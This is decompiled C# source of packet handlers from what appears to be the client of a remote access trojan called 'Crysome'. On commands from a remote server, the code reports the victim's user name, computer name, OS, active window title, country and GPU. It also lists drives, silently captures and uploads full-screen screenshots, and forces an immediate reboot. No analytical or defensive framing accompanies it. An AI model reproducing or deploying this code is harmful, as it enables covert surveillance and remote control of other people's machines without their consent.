using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using Crysome.Client.Configuration;
using Crysome.Client.Inventory;
using Crysome.Client.SystemInfo;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class SystemHandlers
{
	public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet)
	{
		//IL_002f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0039: Expected O, but got Unknown
		Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
		client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem));
	}

	public static void HandleClientInfo(CrysomeClient client, IPacket packet)
	{
		//IL_0070: Unknown result type (might be due to invalid IL or missing references)
		//IL_007a: Expected O, but got Unknown
		Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
		client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU));
		InventoryReportBuilder.OnClientInfoPoll(client);
	}

	public static void HandleGetDrives(CrysomeClient client, IPacket packet)
	{
		//IL_0046: Unknown result type (might be due to invalid IL or missing references)
		//IL_0050: Expected O, but got Unknown
		long num = 0L;
		GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null);
		if (val != null)
		{
			num = val.RequestId;
		}
		string[] array = (from d in DriveInfo.GetDrives()
			select d.Name).ToArray();
		client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num));
	}

	public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet)
	{
		//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00af: Expected O, but got Unknown
		byte[] array = null;
		try
		{
			Rectangle bounds = Screen.PrimaryScreen.Bounds;
			using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
			using (Graphics graphics = Graphics.FromImage(bitmap))
			{
				graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy);
			}
			using MemoryStream memoryStream = new MemoryStream();
			bitmap.Save(memoryStream, ImageFormat.Png);
			array = memoryStream.ToArray();
		}
		catch (Exception)
		{
			array = new byte[0];
		}
		client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0]));
	}

	public static void HandleRestart(CrysomeClient client, IPacket packet)
	{
		Process.Start("shutdown.exe", "-r -t 00");
	}
}
